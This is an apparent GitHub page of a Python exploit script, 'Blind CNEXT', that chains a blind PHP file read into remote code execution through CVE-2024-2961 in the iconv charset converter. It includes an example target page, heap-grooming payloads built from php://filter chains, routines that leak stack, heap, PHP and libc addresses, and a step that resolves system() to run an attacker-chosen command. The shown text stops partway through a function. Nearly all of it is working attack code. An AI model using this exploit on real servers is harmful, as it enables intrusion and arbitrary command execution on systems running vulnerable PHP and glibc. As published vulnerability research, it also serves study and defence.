-
Notifications
You must be signed in to change notification settings - Fork 53
/
blind-cnext-exploit.py
executable file
·1732 lines (1428 loc) · 63.6 KB
/
blind-cnext-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
#
# Blind CNEXT: Blind PHP file read to RCE (CVE-2024-2961)
# Date: 2024-09-30
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload
# and how to verify that the blowup happened, i.e. that PHP went OOM.
#
# TODO
#
# If you feel like improving the exploit, please submit a PR. Here are some improvement
# ideas:
#
# - Automatic configuration of the oracle
# - Handle multithreading
# - Handle non-PIE ELFs
# - Properly handle ELF endianness
# - Use the libc's Build ID to find system faster
# - Verify that we properly dump addresses that contain newline characters
#
# DEBUGGING
#
# This exploit is complex, and I may have made mistakes. Although it is built not to
# crash, it is a binary exploit, so it might anyway.
#
# If you encounter any issue, please provide the following information:
#
# - The full output of the exploit, with the `-d` flag
# - The exact code of the PHP page that is being attacked, or better, a docker image
#
# Unless I see both, issues will be automatically closed.
#
#
# TECHNICAL
#
# The exploit is a blind file read to RCE in PHP, using the iconv filter. Its behavior
# is documented in the following blog posts:
#
# https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
# https://www.ambionics.io/blog/iconv-cve-2024-2961-p3
#
from __future__ import annotations
import base64
import itertools
import zlib
from collections import Counter
from dataclasses import dataclass, field
from typing import NoReturn
from requests.exceptions import ConnectionError, ChunkedEncodingError
import time
from rich.align import Align
from rich.rule import Rule
from ten import *
import struct
set_message_formatter("Icon")
# sys.path.append(os.path.join(os.path.dirname(__file__), "php_filter_chains_oracle_exploit"))
from php_filter_chains_oracle_exploit.filters_chain_oracle.core.bruteforcer import (
Bruteforcer,
)
MAX_COMPRESSED_LEN = 1500
MAX_PATH_LEN = 9000
from tenlib import logging
# -- Constants
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
MIN_NB_400_CHUNKS = 100
CS = 0x400 # bin=23, chunks=8, pages=2
ZERO_CHUNK = b"0" * CS
ZERO_CHUNK_30 = b"0" * 0x30
NB_30_CHUNKS = 85 * 5
NB_30_CHUNKS_2 = NB_30_CHUNKS + 85 * 5
PAGE_SIZE = 0x1000
PHP_ELF_MIN_PAGE_DISTANCE = 1500
PHP_ELF_MAX_PAGE_DISTANCE = 3000
class Remote:
"""A helper class to send the payload and check whether a blowup happened.
The logic of the exploit is always the same, but the exploit needs to know how to
send the payload and how to check if a blowup happened. A blowup is when PHP tries
to allocate too much memory and returns an error such as:
Allowed memory size of 134217728 bytes exhausted
The code here serves as an example that attacks a page that looks like:
```php
<?php
ini_set('display_errors', 1);
file_get_contents($_POST['file']);
```
Tweak it to fit your target, and start the exploit.
"""
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def oracle(self, path: str) -> bool:
"""Sends given `path` to the HTTP server. Returns whether a blowup happened."""
write("/tmp/payload", path)
try:
response = self.session.post(self.url, data={"file": path})
except ConnectionError:
raise RuntimeError("Connection error, server crashed or timeout!")
return response.contains("Allowed memory size of")
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("alignment", "Number of 0x400 chunks to spawn so that we overflow into the penultimate one of a page.")
@arg("brig_inp", "Address of the brig_inp variable on the stack.")
@arg("heap", "Address of the zend_mm_heap object.")
@arg("php_elf", "Address of the PHP ELF in memory.")
@arg("zval_ptr_dtor", "Address of `zval_ptr_dtor` in memory.")
@arg("libc_elf", "Address of the libc ELF in memory.")
@arg("system", "Address of the `system` function in the libc.")
@arg("malloc", "Address of the `malloc` function in the libc.")
@arg("realloc", "Address of the `realloc` function in the libc.")
@arg("debug", "Display DEBUG log messages in the CLI.")
@dataclass
class Exploit:
"""Blind CNEXT exploit: RCE using a blind file read primitive in PHP, using CVE-2024-2961.
cfreal @ LEXFO/AMBIONICS
"""
url: str
command: str
alignment: int = None
brig_inp: str = None
heap: str = None
php_elf: str = None
zval_ptr_dtor: str = None
libc_elf: str = None
system: str = None
malloc: str = None
realloc: str = None
sleep: int = 1
debug: bool = False
BLOW_UP_UTF32 = "convert.iconv.L1.UCS-4"
BLOW_UP_INFINITY = [BLOW_UP_UTF32] * 15
# TODO Is it really needed now?
FILTER_USAGE = (
# Base filters
Counter(
{
"zlib.inflate": 3,
"dechunk": 5,
"convert.iconv.L1.L1": 2,
"convert.iconv.UTF-8.ISO-2022-CN-EXT": 1,
"zlib.deflate": 1,
"convert.base64-encode": 1,
}
)
# Character selection
+ Counter(
{
# "convert.base64-decode": 70,
# "convert.base64-encode": 70,
"convert.iconv.UTF8.CSISO2022KR": 42,
"convert.iconv.JS.UNICODE": 14,
"convert.iconv.L4.UCS2": 14,
"convert.iconv.UTF-16LE.UTF-16BE": 8,
"convert.iconv.UCS-4LE.UCS-4": 8,
"convert.iconv.L1.UTF7": 6,
}
)
# Other script
+ Counter(
{
"dechunk": 1,
"convert.iconv.L1.UCS-4": 15,
"convert.iconv.437.CP930": 6,
"convert.quoted-printable-encode": 5,
"convert.iconv..UTF7": 5,
"convert.base64-decode": 5,
"convert.base64-encode": 6,
"string.tolower": 2,
"convert.iconv.CSISO5427CYRILLIC.855": 1,
"convert.iconv.CP1390.CSIBM932": 5, # was 1, bumped to 5
"string.rot13": 2,
"convert.iconv.CP285.CP280": 1,
"string.toupper": 1,
"convert.iconv.CP273.CP1122": 1,
"convert.iconv.500.1026": 1,
"convert.iconv.UTF8.IBM1140": 1,
"convert.iconv.CSUNICODE.UCS-2BE": 1,
"convert.iconv.UTF8.CP930": 1,
}
)
)
# FILTER_USAGE = Counter()
# Oracle tests to determine if the base64 digit is what we expect
FAST_PATH = {
"f": [
(False, ["convert.iconv.CP1390.CSIBM932"] * 5),
(False, []),
],
"g": [
(False, ["convert.iconv.CP1390.CSIBM932"]),
(True, []),
],
"A": [
(
False,
[
"string.tolower",
"convert.iconv.437.CP930",
"convert.quoted-printable-encode",
"convert.iconv..UTF7",
"convert.base64-decode",
"convert.base64-encode",
"convert.iconv.437.CP930",
"convert.quoted-printable-encode",
"convert.iconv..UTF7",
"convert.base64-decode",
"convert.base64-encode",
"convert.iconv.437.CP930",
"convert.quoted-printable-encode",
"convert.iconv..UTF7",
"convert.base64-decode",
"convert.base64-encode",
"convert.iconv.437.CP930",
"convert.quoted-printable-encode",
"convert.iconv..UTF7",
"convert.base64-decode",
"convert.base64-encode",
"convert.iconv.437.CP930",
],
),
(
True,
[
"convert.iconv.437.CP930",
"convert.quoted-printable-encode",
"convert.iconv..UTF7",
"convert.base64-decode",
"convert.base64-encode",
"convert.iconv.437.CP930",
"convert.quoted-printable-encode",
"convert.iconv..UTF7",
"convert.base64-decode",
"convert.base64-encode",
"convert.iconv.437.CP930",
"convert.quoted-printable-encode",
"convert.iconv..UTF7",
"convert.base64-decode",
"convert.base64-encode",
"convert.iconv.437.CP930",
"convert.quoted-printable-encode",
"convert.iconv..UTF7",
"convert.base64-decode",
"convert.base64-encode",
"convert.iconv.437.CP930",
],
),
],
"B": [
(False, ["string.tolower", "convert.iconv.CP1390.CSIBM932"]),
(
True,
[
"string.tolower",
"convert.iconv.CP1390.CSIBM932",
"convert.iconv.CP1390.CSIBM932",
],
),
(True, ["convert.iconv.CP1390.CSIBM932"]),
],
}
def __post_init__(self) -> None:
self.remote = Remote(self.url)
self.logger = logger("EXPLOIT")
self.info = {}
#
# Building and sending payload
#
def _get_response(self, filters: list[str], resource: str) -> Response:
path = self._build_filter_payload(filters, resource)
response = self.remote.oracle(path)
log.trace(
f"Sending {len(path):#x} payload results in a response of {len(response.content)} bytes"
)
return response
def oracle(self, filters: list[str], resource: str) -> bool:
"""Returns true if the expansion happened, false otherwise."""
path = self._build_filter_payload(filters, resource)
blowup = self.remote.oracle(path)
self.logger.trace(f"Sending payload of size {len(path)} results in {blowup=}")
return blowup
def _build_filter_payload(self, filters: list[str], resource: str) -> str:
read = "|".join(filters)
write = self._compute_write(filters)
path = f"php://filter/read={read}/write={write}/resource={resource}"
return path
@classmethod
def _compute_write(cls, filters: list[str]) -> str:
"""To make sure that the heap does not change too much, we add dummy filters so
that PHP creates the associated structures. They do not impact our exploit, as
they are write filters. However, they will be called when the stream is finally
freed, at the end of the execution. We thus convert any funky charset to latin1,
to make sure PHP does not report errors. This also makes sure that the length of
the path is always the same.
Although this is very helpful, this is not perfect. The order in which the
filters are created matters as well. However, we cannot control this perfectly.
"""
filters = Counter(filters)
missing = []
for filter, number in cls.FILTER_USAGE.items():
used = filters.get(filter, 0)
if filter.startswith("convert.iconv."):
_, _, ffrom, fto = filter.split(".")
if len(ffrom) >= 2:
ffrom = "L1".ljust(len(ffrom), " ")
if len(fto) >= 2:
fto = "L1".ljust(len(fto), " ")
filter = f"convert.iconv.{ffrom}.{fto}"
if used < number:
missing += [filter] * (number - used)
# assert (Counter(missing) + Counter(filters) == Counter(cls.FILTER_USAGE))
return "|".join(missing)
#
# Exploit logic
#
def find_chunk_alignment(self) -> int:
"""Determines the required number of 0x400 chunks to overflow into the
penultimate one, yielding a A->B->C' chain with C overflowing into the next
page.
"""
assert self.alignment is None
# We should only need 8, in theory, but this won't hurt too much
for i in track(
range(MIN_NB_400_CHUNKS, MIN_NB_400_CHUNKS + 8),
"Looking for chunk alignment",
):
if self._try_big_chunks_alignment(i):
break
else:
# TODO CHECK IF VULNERABLE
failure("Unable to find heap alignment; is the target vulnerable?")
msg_success(f"Found alignment for [i]0x400[/] chunks: {i} {option_help('-a')}")
self.alignment = i
def _try_big_chunks_alignment(self, alignment: int) -> bool:
# After the overflow, PHP will allocate a chunk twice as big to store the iconv'
# ed buffer. Since there was a one byte overflow, the byte at offset 0x100 in
# the new out_buf (of size 0x200) will keep its value. If this value is 0x0A, it
# will break the logic of the code (the `dechunk` that comes right after will
# fail). To avoid this, we create, early in the algorithm, a chunk of size 0x200
# that will be the head of the FL.
step1_800 = [b"0" * CS * 2]
step1_400 = [ZERO_CHUNK] * alignment
step1_30 = [ZERO_CHUNK_30] * NB_30_CHUNKS
step1 = self.build_conserved_chunks(step1_800 + step1_400 + step1_30, step=1)
PTR_CHUNK = bytearray(ZERO_CHUNK)
put(PTR_CHUNK, 0x48 - 8 * 2, b"0000013\n0000001-" + p64(0) + b"\n0\n\n")
step2 = [PTR_CHUNK] + [ZERO_CHUNK] * 2
step2 = self.build_conserved_chunks(step2, step=2)
# Overflow step
step3_overflow = bytearray(b"0" * CS)
put(step3_overflow, -len(BUG), BUG)
put(step3_overflow, -len(BUG) - 3, b"1e-")
tapis = bytearray(b"T" * CS)
put(tapis, -0x48 + 0x30 - 5, b"\na\nff" + p64(0) + b"\nAAABBBB" + p64(0))
end_chunk = bytearray(b"E" * CS)
put(end_chunk, 0, b"\nX\n")
step3 = (
[step3_overflow]
+ [b"0"]
+ [ZERO_CHUNK] * 2
+ [tapis]
+ [end_chunk]
+ [b"3" * 0x30] * (NB_30_CHUNKS_2)
)
step3 = self.build_conserved_chunks(step3, step=4)
pages = b"" + step1 + step2 + step3
resource = self._data_to_resource(pages)
base_filters = (
Filters.base(3)
# Step 5: Remove data if possible
+ [
"dechunk",
"dechunk",
"dechunk",
]
+ self.BLOW_UP_INFINITY
)
return self.oracle(base_filters, resource)
def dump_memory(self, address: int, size: int, message: str = None) -> None:
"""Dumps `size` bytes of memory at `address`.
"""
total = b""
if message:
message = message.format(address=address, size=size)
generator = lambda: track(range(0, size, 3), message)
else:
generator = lambda: range(0, size, 3)
for p in generator():
hope = self.dump_3(address + p, nb_bytes=size - p)
total += base64.decode(hope)
# print(hexdump(total, total=False))
return total
def expect_memory(self, address: int, expected: bytes) -> bool:
"""Returns true if the memory at `address` matches the `expected` bytes.
"""
size = len(expected)
for p in range(0, size, 3):
try:
self.dump_3(address + p, expected=expected[p : p + 3])
except UnexpectedBytesException:
return False
return True
def _maybe_convert_arguments(self) -> None:
for attr in ("brig_inp", "heap", "zval_ptr_dtor", "php_elf", "libc_elf", "system", "malloc", "realloc"):
value = getattr(self, attr)
if value is not None:
setattr(self, attr, unhex(value))
def run(self) -> None:
if self.debug:
logging.set_cli_level("DEBUG")
self._maybe_convert_arguments()
got_final_params = self.heap and self.system and self.malloc and self.realloc
# We need to find out at least one parameter before we can execute code
if not got_final_params:
# Do we have everything we need to perform arbitrary reads?
if not self.alignment or not self.brig_inp:
msg_print(Rule("READ PRIMITIVE"))
if not self.alignment:
self.find_chunk_alignment()
if not self.brig_inp:
self.leak_stack_address()
# Do we have the heap? If we do, do we need to find the PHP ELF ?
if not self.heap or not (self.system or self.libc_elf or self.php_elf or self.zval_ptr_dtor):
msg_print(Rule("HEAP"))
if not self.heap:
self.find_heap_address()
if not self.zval_ptr_dtor:
self.find_zval_ptr_dtor()
# Do we have the PHP ELF? If we don't, do we need it?
if not (self.php_elf or self.libc_elf or self.system):
msg_print(Rule("PHP ELF"))
self.find_php_elf()
address = self.find_some_libc_function()
if not self.libc_elf:
msg_print(Rule("LIBC ELF"))
self.find_libc_elf(address)
self.find_libc_functions()
msg_print(Rule("CODE EXECUTION"))
self.execute()
def find_some_libc_function(self) -> int:
php = ELFDumper(self, self.php_elf)
php.get_dynamic_section()
php.get_dynamic_segments("STRTAB", "SYMTAB", "JMPREL")
return php.find_some_libc_function()
def find_libc_elf(self, address: int):
"""Finds the address of the libc ELF in memory from a function it contains.
"""
assert self.libc_elf is None
libc = self._find_elf_header(address, 0, PHP_ELF_MAX_PAGE_DISTANCE)
msg_success(f"Found [i]libc[/] ELF at {addr(libc)} {option_help('-l')}")
self.libc_elf = libc
def find_libc_functions(self) -> None:
assert self.system is None
elf = ELFDumper(self, self.libc_elf)
elf.setup_gnu_hash()
for symbol in ("system", "malloc", "realloc"):
try:
function = elf.find_symbol_from_hash(symbol)
except ValueError as e:
failure(str(e))
function += elf.base
shortcut = f"-{symbol[0]}"
msg_success(f"Found [i]{symbol}@libc[/] at address {addr(function)} {option_help(shortcut)}")
setattr(self, symbol, function)
def russian_doll(self, payload: bytes, *sizes) -> bytes:
"""Returns a payload that, when successively dechunked, has its size changed to
`sizes`.
"""
for size in sizes:
if size < 0:
size = len(payload) - size
elif size == 0:
size = len(payload) + 8
payload = chunked_chunk(payload, size)
payload = compressed_bucket(payload)
return payload
def _data_to_resource(self, data: bytes) -> str:
"""Converts the given bytes to a `data://` url. Compresses the input twice."""
resource = compress(compress(data))
if len(resource) > MAX_COMPRESSED_LEN:
failure(f"Resource too big: {len(resource)} > {MAX_COMPRESSED_LEN}")
# resource = resource.ljust(MAX_COMPRESSED_LEN, b"A")
# The resource will be B64-decoded into a zend_string, so we need to make sure
# that this does not account to a zend_string of size 0x400, which would mess
# with our setup.
resource = resource.ljust(0x400, b"\x00")
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
return resource
def ptr_bucket(self, *ptrs, size: int, strip: int = 0) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
bucket = b"".join(map(p64, ptrs))
if strip:
bucket = bucket[:-strip]
if size is not None:
assert len(bucket) == size, f"{len(bucket):#x} != {size=:#x}"
bucket = qpe(bucket)
bucket = self.russian_doll(bucket, 0, 0, 0)
return bucket
def leak_stack_address(self):
"""Overwrites a buffer that we control with a php_stream_bucket structure and
uses it to leak the address of the stack.
The general idea is to displace the last 0x400 chunk of a page, allocate it,
and then allocate buckets in the page right after. Buckets get "imprinted" into
the chunk, and we can then extract the pointers.
A naive implementation, although very small, easy to understand, and classy, may
yield crashes in 1/8 cases. If we overflow from the penultimate 0x400 chunk, we
overwrite a pointer to NULL, and the upcoming allocation crashes. We can avoid
this by first setting up the freelist (ensuring there are enough chunks), then
doing the process. It greatly complexifies the exploit, because now we need to
allocate lots chunks of size 0x30 right after we setup the 0x400 FL (step1), but
then free them all before we overflow and displace the chunk, so that we can
finally reallocate them, and have them be imprinted into the chunk. It's all a
matter of doing things in order: we want to setup our heap, then clear it, and
then imprint the buckets. The "naive" payload is twice as big (2000 against
1000) but it avoids crashes. We're doing web stuff, we don't want crashes.
"""
assert self.brig_inp is None
# After the overflow, PHP will allocate a chunk twice as big to store the iconv'
# ed buffer. Since there was a one byte overflow, the byte at offset 0x100 in
# the new out_buf (of size 0x200) will keep its value. If this value is 0x0A, it
# will break the logic of the code (the `dechunk` that comes right after will
# fail). To avoid this, we create, early in the algorithm, a chunk of size 0x200
# that will be the head of the FL.
step1_800 = [b"0" * CS * 2]
step1_400 = [ZERO_CHUNK] * self.alignment
step1_30 = [ZERO_CHUNK_30] * NB_30_CHUNKS
step1 = self.build_conserved_chunks(step1_800 + step1_400 + step1_30, step=1)
PTR_CHUNK = bytearray(ZERO_CHUNK)
put(PTR_CHUNK, 0x48 - 8 * 2, b"0000013\n0000001-" + p64(0) + b"\n0\n\n")
step2 = [PTR_CHUNK] + [ZERO_CHUNK] * 2
step2 = self.build_conserved_chunks(step2, step=2)
# Overflow step
step3_overflow = bytearray(b"0" * CS)
put(step3_overflow, -len(BUG), BUG)
put(step3_overflow, -len(BUG) - 3, b"1b-")
tapis = bytearray(b"T" * CS)
put(tapis, -0x48 + 0x30 - 1, b"\n")
put(tapis, -0x48 + 0x30, p64(0))
end_chunk = bytearray(b"E" * CS)
put(end_chunk, 3, b"\n")
step3 = (
[step3_overflow]
+ [b"0"]
+ [ZERO_CHUNK] * 2
+ [tapis]
+ [end_chunk]
# protect misplaced chunk from being used
+ [ZERO_CHUNK] * 2
+ [b"3" * 0x30] * (NB_30_CHUNKS_2)
)
step3 = self.build_conserved_chunks(step3, step=4)
pages = b"" + step1 + step2 + step3
resource = self._data_to_resource(pages)
base_filters = Filters.base(3) + [
"dechunk",
"convert.base64-encode",
]
full_dump = ""
resource = self._data_to_resource(pages)
wanted_digits = range(21, 28)
for i in track(
wanted_digits,
"Extracting stack pointer",
):
# Build a list of filters that puts the character we're interested in in
# front
quartet, digit = divmod(i, 4)
quartet_filters = (Filters.REMOVE_EQUALS + Filters.DITCH_4) * quartet
digit_filters = Filters.QUARTET_DIGITS[digit] + quartet_filters[1:]
digit_filters = base_filters + digit_filters
bruteforcer = LinkedBruteforcer(self, digit_filters, resource)
for digit, _ in bruteforcer.bruteforce():
full_dump += digit
break
else:
failure("Unable to find character")
pointer_part = base64.decode("A" + full_dump)[1:]
brig_inp = u64(pointer_part + b"\x7f\x00\x00")
brig_inp = brig_inp + 0x10
msg_success(f"Got (stack) address of [i]brig_inp[/]: {addr(brig_inp)} {option_help('-b')}")
self.brig_inp = brig_inp
def _build_bucket(self, address: int, size: int) -> bytes:
"""Builds a bucket whose buffer has size `size` and points to the given
`address`.
"""
return b"".join(
map(
p64,
[
0x00, # next
0x00, # prev
self.brig_inp, # brigade
address, # buf
size, # len
0x10_0000_00_00, # refcount hole is_persistent own_buf
],
)
)
def find_heap_address(self) -> None:
"""Reads the stack to extract a pointer to a bucket, and then leaks the address
of the zend_mm_heap object.
"""
assert self.heap is None
md = MemoryDumper(self, 0)
(bucket,) = md.unpack(
self.brig_inp - 0x10, "<Q", message="Leaking bucket address from [i]brig_inp[/]"
)
msg_info(f"Leaked bucket address: {addr(bucket)}")
chunk = bucket & ~(0x200000 - 1)
if bucket == 0:
failure("Cannot leak heap address: bucket is NULL")
(heap,) = md.unpack(
chunk, "<Q", message="Leaking [i]zend_mm_heap[/] from heap chunk"
)
msg_success(f"Leaked [i]zend_mm_heap[/]: {addr(heap)} {option_help('-H')}")
self.heap = heap
def _try_fast_path(self, filters: list[str], resource: str, expected_digit: str) -> None | NoReturn:
"""Uses the fast_path tests to determine if the digit is `expected_digit`.
"""
fast_path = self.FAST_PATH[expected_digit]
for keep_if_blow, test_filters in fast_path:
test_filters = (
filters + test_filters + ["dechunk"] + self.BLOW_UP_INFINITY
)
blew_up = self.oracle(test_filters, resource)
if keep_if_blow != blew_up:
break
else:
self.logger.trace(f"Fast path hit for digit {expected_digit}")
return
self.logger.trace(f"Fast path missed for digit {expected_digit}")
raise UnexpectedBytesException()
def dump_3(self, address: int, expected: str = None, nb_bytes: int = 3) -> None:
"""Dumps 3 bytes (4 base64 digits) from `address`."""
# In step 1, we allocate lots of 0x400 chunks to setup the heap, and then right
# after we allocate 0x30 chunks. The latter will stay, while the former will be
# removed on the next step.
# After the overflow, PHP will allocate a chunk twice as big to store the iconv'
# ed buffer. Since there was a one byte overflow, the byte at offset 0x400 in
# the new out_buf (of size 0x800) will keep its value. If this value is 0x0A, it
# will break the logic of the code (the `dechunk` that comes right after will
# fail). To avoid this, we create, early in the algorithm, a chunk of size 0x200
# that will be the head of the FL.
step1_800 = [b"0" * CS * 2]
step1_400 = [ZERO_CHUNK] * self.alignment
step1 = self.build_conserved_chunks(step1_800 + step1_400, step=1)
step1_30 = [ZERO_CHUNK_30] * NB_30_CHUNKS
step1_30 = self.build_conserved_chunks(step1_30, dechunks=2)
step1 += step1_30
# In step 2, we put a NULL pointer in the last chunk of the page, and then we
# reverse the free list for 3 elements A B C. The 0x30 chunks do not move.
# We make the chunk that contains the fake pointer a doubly-chunked chunk, so
# that we don't break the dechunk chain
PTR_CHUNK = bytearray(ZERO_CHUNK)
put(PTR_CHUNK, 0x48 - 8 * 2, b"0000013\n0000001-" + p64(0) + b"\n0\n\n")
step2 = [PTR_CHUNK] + [ZERO_CHUNK] * 2
step2 = self.build_conserved_chunks(step2, step=2)
# In step 3, we overflow from A into B to change its next pointer to C+48h.
step3_overflow = bytearray(ZERO_CHUNK)
put(step3_overflow, -len(BUG), BUG)
put(step3_overflow, -len(BUG) - 4, b"1b-")
step3 = [step3_overflow, b"0"]
step3 = self.build_conserved_chunks(step3, step=3)
# In step 4, we overwrite a bucket
BUCKET = self._build_bucket(address, 3)
# TODO for loop this
# TODO properly implemented?
newlines = BUCKET.count(b"\x0a")
match newlines:
case 0:
prefix = b"ffff-"
case 1:
prefix = b"5\nffff-\nffff-"
case 2:
prefix = b"d\n5\nffff-\nffff-\nffff-"
case _:
msg_debug("Leaking addresses that contain more than 2 newlines is DOABLE, just not implemented yet")
failure("Cannot leak address: contains too many newlines")
dechunks = ["dechunk"] * (newlines + 1)
# Every chunk created here will preceed the data we want to leak. We need to
# make it dechunkable. If addresses didn't contain newlines, it would be easy
# enough.
step5_overwrite_bucket = bytearray(ZERO_CHUNK)
put(step5_overwrite_bucket, -0x48, BUCKET)
put(step5_overwrite_bucket, -0x48-len(prefix), prefix)
# Get rid of the last bytes: we don't want to overwrite the second bucket of
# the page
step5_overwrite_bucket = step5_overwrite_bucket[:-0x18]
# Final chunk: directly preceeds the leaked data
final = bytearray(ZERO_CHUNK)
put(final, -1, b"\n")
step5 = [ZERO_CHUNK, ZERO_CHUNK, step5_overwrite_bucket, ZERO_CHUNK, ZERO_CHUNK, ZERO_CHUNK, final]
step5 = [qpe(chunked_chunk(chunk, CS*2)) for chunk in step5]
step5 = self.build_conserved_chunks(step5, step=3)
step4 = b""
# Merge pages
pages = step5 + step4 + step1 + step2 + step3
resource = self._data_to_resource(pages)
base_filters = Filters.base(2) + [
"convert.iconv.L1.L1",
# Step 4: Overwrite buffer
"convert.quoted-printable-decode",
"dechunk",
"convert.iconv.L1.L1",
# Step 5: Remove the stuff preceding the leaked data
] + dechunks + [
# Step 6: Inprint the data
# "zlib.deflate",
# "zlib.inflate",
"convert.base64-encode",
]
# The four (or less, if nb_bytes if lower) characters that we need to dump
quartet = ""
# If some characters in the B64 quartet are expected, we can check if a fast
# path exists for them, and hit it instead of bruteforcing the digit and then
# comparing it to the expected value.
# b64_expected represents every B64 digit that is expected. We cannot
# naively convert to B64 because some bytes may be incomplete.
#
# Quick example: we expect b"Z", so we b64-encode and get "Wg==". In this, W
# encodes the first 6 bits of Z, and g the last 2. We cannot naively compare g
# with the second character of the leak, because the latter also encodes the 4
# first bits of the second byte of memory.
if expected:
b64_expected = b64(expected).decode()
match len(expected):
case 1:
b64_expected = b64_expected[:1]
case 2:
b64_expected = b64_expected[:2]
case 3:
pass
else:
b64_expected = ""
for i, get_digit in enumerate(Filters.QUARTET_DIGITS):
if len(quartet) > nb_bytes:
break
filters = base_filters + get_digit
if i < len(b64_expected) and b64_expected[i] in self.FAST_PATH:
base64_digit = b64_expected[i]
self._try_fast_path(filters, resource, base64_digit)
quartet += base64_digit
continue
bruteforcer = LinkedBruteforcer(self, filters, resource)
for digit, _ in bruteforcer.bruteforce():
break
else:
failure("Could not find the character")
quartet += digit
# We compare the size of a B64 to a normal byte array, but the comparison
# still holds.
if expected:
self._check_quartet_chunk_is_expected(quartet, expected)
if len(quartet) > len(expected):
break
self.logger.trace(f"Got quartet {quartet} for address {address:#x}")
return quartet.ljust(4, "=")
def _check_quartet_chunk_is_expected(
self, quartet: str, expected: bytes
) -> None | NoReturn:
"""Checks that the dumped quartet matches what is expected."""
digits = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def b64_number(data: bytes) -> int:
return sum(
digits.index(digit) << (6 * (3 - i)) for i, digit in enumerate(data)
)
def number(data: bytes) -> int:
return sum(byte << (8 * (2 - i)) for i, byte in enumerate(data))
mask = 24 - min(len(expected) * 8, len(quartet) * 6)
mask = (1 << 24) - 1 - ((1 << mask) - 1)
number_quartets = b64_number(quartet) & mask
number_expected = number(expected) & mask
# print(f"{number_quartets=:24b}")
# print(f"{number_expected=:24b}")
# print(f" {mask=:24b}")
if number_quartets != number_expected:
self.logger.debug(
f"Expected {number_expected:03x} but got {number_quartets:03x}"
)
raise UnexpectedBytesException()
def build_conserved_chunks(
self, buckets: list[bytes], dechunks: int = 0, step: int = 1
) -> bytes:
"""Builds a list of chunks that will be conserved during the exploit."""
total_size = sum(map(len, buckets))
prefix = ""
suffix = b""
